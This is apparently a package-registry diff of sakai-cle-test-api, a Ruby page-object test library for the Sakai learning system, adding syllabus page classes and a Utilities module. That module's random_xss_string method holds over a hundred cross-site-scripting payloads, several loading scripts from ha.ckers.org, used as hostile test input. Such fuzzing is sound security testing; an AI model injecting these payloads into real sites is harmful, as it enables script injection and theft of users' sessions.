sakai-cle-test-api 0.0.7 → 0.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (44) hide show
  1. data/lib/sakai-cle-test-api.rb +7 -2
  2. data/lib/sakai-cle-test-api/add_files.rb +198 -0
  3. data/lib/sakai-cle-test-api/admin_page_elements.rb +7 -3
  4. data/lib/sakai-cle-test-api/announcements.rb +274 -7
  5. data/lib/sakai-cle-test-api/assessments.rb +930 -27
  6. data/lib/sakai-cle-test-api/assignments.rb +769 -13
  7. data/lib/sakai-cle-test-api/basic_lti.rb +5 -1
  8. data/lib/sakai-cle-test-api/blogs.rb +54 -2
  9. data/lib/sakai-cle-test-api/calendar.rb +423 -8
  10. data/lib/sakai-cle-test-api/chat_room.rb +0 -0
  11. data/lib/sakai-cle-test-api/common_page_elements.rb +69 -172
  12. data/lib/sakai-cle-test-api/core-ext.rb +90 -0
  13. data/lib/sakai-cle-test-api/data_objects/announcement.rb +38 -0
  14. data/lib/sakai-cle-test-api/data_objects/assessment.rb +32 -0
  15. data/lib/sakai-cle-test-api/data_objects/assignment.rb +62 -0
  16. data/lib/sakai-cle-test-api/data_objects/event.rb +86 -0
  17. data/lib/sakai-cle-test-api/data_objects/lesson.rb +137 -0
  18. data/lib/sakai-cle-test-api/data_objects/resource.rb +174 -0
  19. data/lib/sakai-cle-test-api/data_objects/site.rb +213 -0
  20. data/lib/sakai-cle-test-api/data_objects/syllabus.rb +7 -0
  21. data/lib/sakai-cle-test-api/data_objects/topic.rb +0 -0
  22. data/lib/sakai-cle-test-api/data_objects/web_content_tool.rb +52 -0
  23. data/lib/sakai-cle-test-api/data_objects/wiki.rb +7 -0
  24. data/lib/sakai-cle-test-api/drop_box.rb +21 -0
  25. data/lib/sakai-cle-test-api/email_archive.rb +15 -1
  26. data/lib/sakai-cle-test-api/forums.rb +282 -8
  27. data/lib/sakai-cle-test-api/gem_ext.rb +45 -0
  28. data/lib/sakai-cle-test-api/gradebook.rb +19 -1
  29. data/lib/sakai-cle-test-api/gradebook2.rb +15 -1
  30. data/lib/sakai-cle-test-api/lessons.rb +440 -0
  31. data/lib/sakai-cle-test-api/messages.rb +551 -15
  32. data/lib/sakai-cle-test-api/news.rb +3 -1
  33. data/lib/sakai-cle-test-api/polls.rb +65 -3
  34. data/lib/sakai-cle-test-api/profile.rb +36 -2
  35. data/lib/sakai-cle-test-api/profile2.rb +315 -6
  36. data/lib/sakai-cle-test-api/resources.rb +138 -0
  37. data/lib/sakai-cle-test-api/rich_text.rb +13 -0
  38. data/lib/sakai-cle-test-api/sections.rb +198 -8
  39. data/lib/sakai-cle-test-api/site_page_elements.rb +4 -441
  40. data/lib/sakai-cle-test-api/syllabus.rb +149 -7
  41. data/lib/sakai-cle-test-api/tools_menu.rb +3 -20
  42. data/lib/sakai-cle-test-api/utilities.rb +260 -0
  43. data/sakai-cle-test-api.gemspec +2 -3
  44. metadata +21 -19
@@ -8,7 +8,26 @@
8
8
  class Syllabus
9
9
  include PageObject
10
10
  include ToolsMenu
11
- include SyllabusMethods
11
+ # Clicks the "Create/Edit" button on the page,
12
+ # then instantiates the SyllabusEdit class.
13
+ def create_edit
14
+ frm.link(:text=>"Create/Edit").click
15
+ SyllabusEdit.new(@browser)
16
+ end
17
+
18
+ # Clicks the "Add" button, then
19
+ # instantiates the AddEditSyllabusItem Class.
20
+ def add
21
+ frm.link(:text=>"Add").click
22
+ AddEditSyllabusItem.new(@browser)
23
+ end
24
+
25
+ def attachments_list
26
+ list = []
27
+ frm.div(:class=>"portletBody").links.each { |link| list << link.text }
28
+ return list
29
+ end
30
+
12
31
  end
13
32
 
14
33
  # This is the page that lists Syllabus sections, allows for
@@ -17,41 +36,164 @@ end
17
36
  class SyllabusEdit
18
37
  include PageObject
19
38
  include ToolsMenu
20
- include SyllabusEditMethods
39
+ # Clicks the "Add" button, then
40
+ # instantiates the AddEditSyllabusItem Class.
41
+ def add
42
+ frm.link(:text=>"Add").click
43
+ AddEditSyllabusItem.new(@browser)
44
+ end
45
+
46
+ def redirect
47
+ frm.link(:text=>"Redirect").click
48
+ SyllabusRedirect.new(@browser)
49
+ end
50
+
51
+ # Returns the text of the page header
52
+ def header
53
+ frm.div(:class=>"portletBody").h3.text
54
+ end
55
+
56
+ # Clicks the checkbox for the item with the
57
+ # specified title.
58
+ def check_title(title)
59
+ index=syllabus_titles.index(title)
60
+ frm.checkbox(:index=>index).set
61
+ end
62
+
63
+ #
64
+ def move_title_up(title)
65
+ #FIXME
66
+ end
67
+
68
+ #
69
+ def move_title_down(title)
70
+ #FIXME
71
+ end
72
+
73
+ # Clicks the "Update" button and instantiates
74
+ # the DeleteSyllabusItems Class.
75
+ def update
76
+ frm.button(:value=>"Update").click
77
+ DeleteSyllabusItems.new(@browser)
78
+ end
79
+
80
+ # Opens the specified item and instantiates the XXXX Class.
81
+ def open_item(title)
82
+ frm.link(:text=>title).click
83
+ Class.new(@browser)
84
+ end
85
+
86
+ # Returns an array containing the titles of the syllabus items
87
+ # displayed on the page.
88
+ def syllabus_titles
89
+ titles = []
90
+ s_table = frm.table(:class=>"listHier lines nolines")
91
+ 1.upto(s_table.rows.size-1) do |x|
92
+ titles << s_table[x][0].text
93
+ end
94
+ return titles
95
+ end
96
+
21
97
  end
22
98
 
23
99
  #
24
100
  class AddEditSyllabusItem
25
101
  include PageObject
26
102
  include ToolsMenu
27
- include AddEditSyllabusItemMethods
103
+ # Clicks the "Post" button and instantiates
104
+ # the Syllabus Class.
105
+ def post
106
+ frm.button(:value=>"Post").click
107
+ SyllabusEdit.new(@browser)
108
+ end
109
+
110
+ # Defines the text area of the FCKEditor that appears on the page for
111
+ # the Syllabus content.
112
+ def editor
113
+ frm.frame(:id, /_textarea___Frame/).td(:id, "xEditingArea").frame(:index=>0)
114
+ end
115
+
116
+ # Sends the specified string to the FCKEditor text area on the page.
117
+ def content=(text)
118
+ editor.send_keys(text)
119
+ end
120
+
121
+ # Clicks the Add attachments button and instantiates the
122
+ # SyllabusAttach class.
123
+ def add_attachments
124
+ frm.button(:value=>"Add attachments").click
125
+ SyllabusAttach.new(@browser)
126
+ end
127
+
128
+ # Returns an array of the filenames in the attachments
129
+ # table
130
+ def files_list
131
+ names = []
132
+ frm.table(:class=>"listHier lines nolines").rows.each do |row|
133
+ if row.td(:class=>"item").exist?
134
+ names << row.td(:class=>"item").h4.text
135
+ end
136
+ end
137
+ return names
138
+ end
139
+
140
+ # Clicks the preview button and
141
+ # instantiates the SyllabusPreview class
142
+ def preview
143
+ frm.button(:value=>"Preview").click
144
+ SyllabusPreview.new(@browser)
145
+ end
146
+
147
+ in_frame(:class=>"portletMainIframe") do |frame|
148
+ text_field(:title, :id=>"_id4:title", :frame=>frame)
149
+ radio_button(:only_members_of_this_site) { |page| page.radio_button_element(:name=>/_id\d+:_id\d+/, :value=>"no", :frame=>frame) }
150
+ radio_button(:publicly_viewable) { |page| page.radio_button_element(:name=>/_id\d+:_id\d+/, :value=>"yes", :frame=>frame) }
151
+
152
+ end
28
153
  end
29
154
 
30
155
  # The page for previewing a syllabus.
31
156
  class SyllabusPreview
32
157
  include PageObject
33
158
  include ToolsMenu
34
- include SyllabusPreviewMethods
159
+ def edit
160
+ frm.button(:value=>"Edit").click
161
+ AddEditSyllabusItem.new(@browser)
162
+ end
163
+
164
+ in_frame(:class=>"portletMainIframe") do |frame|
165
+ end
35
166
  end
36
167
 
37
168
  #
38
169
  class SyllabusRedirect
39
170
  include PageObject
40
171
  include ToolsMenu
41
- include SyllabusRedirectMethods
172
+ def save
173
+ frm.button(:value=>"Save").click
174
+ SyllabusEdit.new(@browser)
175
+ end
176
+
177
+ in_frame(:class=>"portletMainIframe") do |frame|
178
+ text_field(:url, :id=>"redirectForm:urlValue", :frame=>frame)
179
+ end
42
180
  end
43
181
 
44
182
  # The page where Syllabus Items can be deleted.
45
183
  class DeleteSyllabusItems
46
184
  include PageObject
47
185
  include ToolsMenu
48
- include DeleteSyllabusItemsMethods
186
+ def delete
187
+ frm.button(:value=>"Delete").click
188
+ CreateEditSyllabus.new(@browser)
189
+ end
190
+
49
191
  end
50
192
 
51
193
  class CreateEditSyllabus
52
194
  include PageObject
53
195
  include ToolsMenu
54
- include CreateEditSyllabusMethods
196
+
55
197
  end
56
198
 
57
199
  # TODO: This needs to be fixed!
@@ -13,7 +13,6 @@ module ToolsMenu
13
13
  def open_my_site_by_id(id)
14
14
  @browser.link(:text, "My Sites").click
15
15
  @browser.link(:href, /#{id}/).click
16
- $frame_index=1
17
16
  Home.new(@browser)
18
17
  end
19
18
 
@@ -23,10 +22,9 @@ module ToolsMenu
23
22
  #
24
23
  # Will error out if there are not matching links.
25
24
  def open_my_site_by_name(name)
26
- short_name = name[0..19]
25
+ truncated_name = name[0..19]
27
26
  @browser.link(:text, "My Sites").click
28
- @browser.link(:text, /#{Regexp.escape(short_name)}/).click
29
- $frame_index=1
27
+ @browser.link(:text, /#{Regexp.escape(truncated_name)}/).click
30
28
  Home.new(@browser)
31
29
  end
32
30
 
@@ -50,7 +48,6 @@ module ToolsMenu
50
48
  # instantiates the MyWorkspace class.
51
49
  def administration_workspace
52
50
  @browser.link(:text, "Administration Workspace").click
53
- $frame_index=1
54
51
  MyWorkspace.new(@browser)
55
52
  end
56
53
 
@@ -222,12 +219,10 @@ module ToolsMenu
222
219
 
223
220
  link(:my_sites, :text=>"My Sites")
224
221
 
225
- # Clicks the "My Workspace" link, sets the
226
- # $frame_index global variable to 0, then instantiates
222
+ # Clicks the "My Workspace" link, then instantiates
227
223
  # the MyWorkspace Class.
228
224
  def my_workspace
229
225
  @browser.link(:text=>"My Workspace").click
230
- $frame_index=0
231
226
  MyWorkspace.new(@browser)
232
227
  end
233
228
 
@@ -383,16 +378,6 @@ module ToolsMenu
383
378
  # The Page Reset button, found on all Site pages
384
379
  def reset
385
380
  @browser.link(:href=>/tool-reset/).click
386
- page_title = @browser.div(:class=>"title").text
387
- case(page_title)
388
- when "Lessons"
389
- Lessons.new(@browser)
390
- when "Syllabus"
391
- Syllabus.new(@browser)
392
- when "Portfolios"
393
- Portfolios.new @browser
394
- # Add more cases here, as necessary...
395
- end
396
381
  end
397
382
 
398
383
  # Clicks the "(Logout)" link in the upper right of the page.
@@ -404,8 +389,6 @@ module ToolsMenu
404
389
  alias log_out logout
405
390
  alias sign_out logout
406
391
 
407
- private
408
-
409
392
  # Shortcut method so we can put all the
410
393
  # elements into the Common gem...
411
394
  def frm
@@ -1,5 +1,260 @@
1
+ # coding: UTF-8
2
+
1
3
  module Utilities
2
4
 
5
+ # Creates a page object based on the class passed to it.
6
+ #
7
+ # @example using a page that has already been visited in a Scenario
8
+ # on_page MyPageObject do |page|
9
+ # page.name.should == 'rSmart'
10
+ # end
11
+ def on_page(page_class, &block)
12
+ @current_page = page_class.new(@browser)
13
+ block.call @current_page if block
14
+ @current_page
15
+ end
16
+
17
+ # Strips the file name away from the path information.
18
+ #
19
+ # This way it's not necessary to define variables for BOTH the
20
+ # file name and the file path + file name. Just define the
21
+ # path + name and then use this method to extract only the filename
22
+ # portion.
23
+ def get_filename(path_plus_name_string)
24
+ path_plus_name_string =~ /(?<=\/).+/
25
+ return $~.to_s
26
+ end
27
+
28
+ # A random string creator that draws from all printable ASCII characters
29
+ # from 33 to 128. Default length is 10 characters.
30
+ def random_string(length=10, s="")
31
+ length.enum_for(:times).inject(s) do |result, index|
32
+ s << rand(93) + 33
33
+ end
34
+ end
35
+
36
+ # A random string creator that draws from all printable ASCII and High ASCII characters
37
+ # from 33 to 256. Default length is 10 characters.
38
+ def random_high_ascii(length=10, s="")
39
+ length.enum_for(:times).inject(s) do |result, index|
40
+ s << rand(223) + 33
41
+ end
42
+ end
43
+
44
+ # A "friendlier" random string generator. No characters need to be escaped for valid URLs.
45
+ # Uses no Reserved or "Unsafe" characters.
46
+ # Also excludes the comma, the @ sign and the plus sign. Default length is 10 characters.
47
+ def random_nicelink(length=10)
48
+ chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 _ - .}
49
+ (0...length).map { chars[rand(chars.size)]}.join
50
+ end
51
+
52
+ # Returns a string that is properly formatted like an email address.
53
+ # The string returned defaults to 268 characters long.
54
+ # Including a number between 1 and 62 will shrink this string by 62 minus the specified
55
+ # value.
56
+ def random_email(x=62)
57
+ x > 62 ? x=62 : x=x
58
+ chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ! # $ % & ' * + - / = ? ^ _ ` { | } ~}
59
+ random_alphanums(1) + (0...x).map { chars[rand(chars.size)]}.join + random_alphanums(1) + "@" + random_alphanums(60) + ".com"
60
+ end
61
+
62
+ # A random string generator that uses all characters
63
+ # available on an American Qwerty keyboard.
64
+ def random_alphanums_plus(length=10, s="")
65
+ chars = %w{ a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ` ~ ! @ # $% ^ & * ( ) _ + - = { } [ ] \ : " ; ' < > ? , . / }
66
+ length.times { s << chars[rand(chars.size)] }
67
+ s.to_s
68
+ end
69
+
70
+ # A random string generator that uses only letters and numbers in the string. Default length is 10 characters.
71
+ def random_alphanums(length=10, s="")
72
+ chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ0123456789'
73
+ length.times { s << chars[rand(chars.size)] }
74
+ s.to_s
75
+ end
76
+
77
+ # A random string generator that uses only lower case letters.
78
+ def random_letters(length=10, s="")
79
+ chars = 'abcdefghjkmnpqrstuvwxyz'
80
+ length.times { s << chars[rand(chars.size)] }
81
+ s.to_s
82
+ end
83
+
84
+ # Returns a block of text (of the specified type, see below) containing
85
+ # the specified number of "words" (each containing between 1 and 16 chars)
86
+ # randomly spread across the specified number of lines (note that
87
+ # the method does not allow the line count to be larger than
88
+ # the word count and will "fix" it if it is).
89
+ #
90
+ # If no arguments are provided, the method will return two alphanumeric
91
+ # "words" on two lines.
92
+ #
93
+ # The last argument the method takes will determine the character content
94
+ # of the string, viz.:
95
+ #
96
+ # :alpha => Alphanumeric -> uses the random_alphanums method
97
+ # :string => uses the random_string method, so chars 33 through 128 will be included
98
+ # :ascii => All ASCII chars from 33 to 256 are fair game -> uses random_high_ascii
99
+ def random_multiline(word_count=2, line_count=2, char_type=:alpha)
100
+ char_methods = {:alpha=>"random_alphanums(rand(16)+1)", :string=>"random_string(rand(16)+1)", :ascii=>"random_high_ascii(rand(16)+1)"}
101
+ if line_count > word_count
102
+ line_count = word_count - 1
103
+ end
104
+ words = []
105
+ non_words = []
106
+ word_count.times { words << eval(char_methods[char_type]) } # creating the words, adding to the array
107
+ (line_count - 1).times { non_words << "\n" } # adding the number of line feeds
108
+ unless word_count==line_count
109
+ (word_count - line_count - 1).times { non_words << " " } # adding the right number of spaces
110
+ end
111
+ non_words.shuffle! # Have to shuffle the line feeds around!
112
+ array = words.zip(non_words)
113
+ array.flatten!
114
+ return array.join("")
115
+ end
116
+
117
+ # Picks at random from the list of XSS test strings, using
118
+ # the provided number as size of the list to choose from.
119
+ # It will randomly pre-pend the string with HTML closing tags.
120
+ #
121
+ # The strings are organized by length, with the shorter ones
122
+ # first. There are 102 strings.
123
+ def random_xss_string(number=102)
124
+ if number > 102
125
+ number = 102
126
+ end
127
+ xss = ["<PLAINTEXT>", "\\\";alert('XSS');//", "'';!--\"<XSS>=&{()}", "<IMG SRC=\"mocha:alert('XSS')\">", "<BODY ONLOAD=alert('XSS')>", "<BODY ONLOAD =alert('XSS')>", "<BR SIZE=\"&{alert('XSS')}\">", "¼script¾alert(¢XSS¢)¼/script¾", "<IMG SRC=\"livescript:alert('XSS')\">", "<SCRIPT SRC=//ha.ckers.org/.j>", "<IMG SRC=javascript:alert('XSS')>", "<IMG SRC=JaVaScRiPt:alert('XSS')>", "<<SCRIPT>alert(\"XSS\");//<</SCRIPT>", "<IMG SRC=\"javascript:alert('XSS')\"", "<IMG SRC='vbscript:msgbox(\"XSS\")'>", "<A HREF=\"http://1113982867/\">XSS</A>", "<IMG SRC=\"javascript:alert('XSS');\">", "<IMG SRC=\"jav\tascript:alert('XSS');\">", "<XSS STYLE=\"behavior: url(xss.htc);\">", "</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>", "<IMG DYNSRC=\"javascript:alert('XSS')\">", "<A HREF=\"http://66.102.7.147/\">XSS</A>", "<IMG LOWSRC=\"javascript:alert('XSS')\">", "<BGSOUND SRC=\"javascript:alert('XSS');\">", "<BASE HREF=\"javascript:alert('XSS');//\">", "<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">", "<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>", "<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">", "<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">", "<XSS STYLE=\"xss:expression(alert('XSS'))\">", "<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">", "<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>", "<IMG SRC=\" &#14; javascript:alert('XSS');\">", "<IMG SRC=javascript:alert(&quot;XSS&quot;)>", "<BODY BACKGROUND=\"javascript:alert('XSS')\">", "<TABLE BACKGROUND=\"javascript:alert('XSS')\">", "<DIV STYLE=\"width: expression(alert('XSS'));\">", "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">", "<iframe src=http://ha.ckers.org/scriptlet.html <", "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>", "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>", "<A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A>", "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">", "<A HREF=\"http://0102.0146.0007.00000223/\">XSS</A>", "<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>", "<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>", "<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>", "<BODY onload!\#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>", "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">", "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>", "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>", "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<? echo('<SCR)'; echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>", "<SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">", "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>", "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>", "<SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">", "<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>", "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "perl -e 'print \"<SCR\\0IPT>alert(\\\"XSS\\\")</SCR\\0IPT>\";' > out", "<IMG SRC = \" j a v a s c r i p t : a l e r t ( ' X S S ' ) \" >", "Redirect 302 /a.jpg http://www.rsmart.com/admin.asp&deleteuser", "perl -e 'print \"<IMG SRC=java\\0script:alert(\\\"XSS\\\")>\";' > out", "<!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]-->", "<DIV STYLE=\"background-image: url(&#1;javascript:alert('XSS'))\">", "<A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">", "a=\"get\"; b=\"URL(\\\"\"; c=\"javascript:\"; d=\"alert('XSS');\\\")\"; eval(a+b+c+d);", "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>", "<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>", "<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>", "<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS", "<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">", "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>", "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>", "<XML SRC=\"xsstest.xml\" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;\">", "exp/*<A STYLE='no\\xss:noxss(\"*//*\"); xss:&#101;x&#x2F;*XSS*//*/*/pression(alert(\"XSS\"))'>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">", "<!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'\"-->", "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>", "<HTML xmlns:xss> <?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"> <xss:xss>XSS</xss:xss> </HTML>", "<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>", "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-", "<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>", "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<XML ID=\"xss\"><I><B>&lt;IMG SRC=\"javas<!-- -->cript:alert('XSS')\"&gt;</B></I></XML> <SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>", "<DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029'\\0029\">", "<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>", "';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>", "<HTML><BODY> <?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\"> <?import namespace=\"t\" implementation=\"#default#time2\"> <t:set attributeName=\"innerHTML\" to=\"XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;\"> </BODY></HTML>", "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>"]
128
+ x = rand(4)
129
+ case(x)
130
+ when 0
131
+ return xss[rand(number)]
132
+ when 1
133
+ return %|"| + xss[rand(number)]
134
+ when 2
135
+ return %|">| + xss[rand(number)]
136
+ when 3
137
+ return %|>| + xss[rand(number)]
138
+ end
139
+
140
+ end
141
+
142
+ # Some date and time helper functions....
143
+
144
+ # Returns the value of the last hour as an Integer object, which
145
+ # eliminates the zero-padding for single-digit hours. 12-hour clock.
146
+ def last_hour
147
+ (Time.now - 3600).strftime("%I").to_i
148
+ end
149
+
150
+ # Returns the value of the current hour as an Integer object, which
151
+ # eliminates the zero-padding for single-digit hours. 12-hour clock.
152
+ def current_hour
153
+ Time.now.strftime("%I").to_i
154
+ end
155
+
156
+ # Returns the value of the next hour as an Integer object, which
157
+ # eliminates the zero-padding for single-digit hours. 12-hour clock.
158
+ def next_hour
159
+ (Time.now + 3600).strftime("%I").to_i
160
+ end
161
+
162
+ # Returns a 4-digit Integer object, equal to last year.
163
+ def last_year
164
+ (Time.now - (3600*24*365)).strftime("%Y").to_i
165
+ end
166
+
167
+ # Returns a 4-digit Integer object equal to the current year.
168
+ def current_year
169
+ (Time.now).strftime("%Y").to_i
170
+ end
171
+
172
+ # Returns an all-caps 3-char string equal to the prior month
173
+ def last_month
174
+ months = ["JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC"]
175
+ index = months.index(current_month)
176
+ return months[index-1]
177
+ end
178
+
179
+ # Returns an all-caps 3-char string equal to the current month
180
+ def current_month
181
+ Time.now.strftime("%^b")
182
+ end
183
+
184
+ # Returns an all-caps 3-char string equal to next month
185
+ def next_month
186
+ months = ["JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC"]
187
+ index = months.index(current_month)
188
+ if index < 12
189
+ return months[index+1]
190
+ else
191
+ return months[0]
192
+ end
193
+ end
194
+
195
+ # Returns a 4-digit Integer object equal to next year.
196
+ def next_year
197
+ (Time.now + (3600*24*365)).strftime("%Y").to_i
198
+ end
199
+
200
+ # Returns an Integer object equal to
201
+ # yesterday's day of the month. The string is converted to
202
+ # an integer so as to remove the zero-padding from single-digit day values.
203
+ def yesterday
204
+ (Time.now - (3600*24)).strftime("%d").to_i
205
+ end
206
+
207
+ # Returns an Integer object equal to
208
+ # tomorrow's day of the month. The string is converted to
209
+ # an integer so as to remove the zero-padding from single-digit day values.
210
+ def tomorrow
211
+ (Time.now + (3600*24)).strftime("%d").to_i
212
+ end
213
+
214
+ # Takes a time object as the input (e.g., Time.now) and returns
215
+ # a string formatted in particular ways.
216
+ # When the specified "type" value is "cle" (or not specified),
217
+ # The returned string will look like this:
218
+ # "Jan 9, 2012 1:12 am"
219
+ # When "oae-message":
220
+ # "2/8/2012 1:06 PM"
221
+ # Note the lack of zero-padding for the day of the month and the
222
+ # hour of the day. The hour value will be for a 12-hour clock.
223
+ def make_date(time_object, type="cle")
224
+ case(type)
225
+ when "cle"
226
+ month = time_object.strftime("%b ")
227
+ day = time_object.strftime("%d").to_i
228
+ year = time_object.strftime(", %Y ")
229
+ mins = time_object.strftime(":%M %P")
230
+ hour = time_object.strftime("%l").to_i
231
+ return month + day.to_s + year + hour.to_s + mins
232
+ when "oae-message"
233
+ date = time_object.strftime("%-m/%-d/%Y ")
234
+ hour = time_object.strftime("%l").to_i
235
+ mins = time_object.strftime(":%M %p")
236
+ return date + hour.to_s + mins
237
+ end
238
+
239
+ end
240
+
241
+ # returns a hash object containing strings that will, for example,
242
+ # allow creation of an event starting 15 minutes in the future.
243
+ # Hour and Day values are Integer objects, not strings, so that
244
+ # they will not be zero-padded. The :meridian string is lower-case.
245
+ def in_15_minutes
246
+ t = Time.now.utc+15*60
247
+ return {
248
+ :month_str => t.strftime("%^b"),
249
+ :month_int => t.strftime("%-m"),
250
+ :day =>t.strftime("%d").to_i,
251
+ :year =>t.strftime("%Y").to_i,
252
+ :hour =>t.strftime("%I").to_i,
253
+ :minute =>(t-t.sec-t.min%5*60).strftime("%M"),
254
+ :meridian =>t.strftime("%P")
255
+ }
256
+ end
257
+
3
258
  # Formats a date string Sakai-style.
4
259
  # Useful for verifying creation dates and such.
5
260
  #
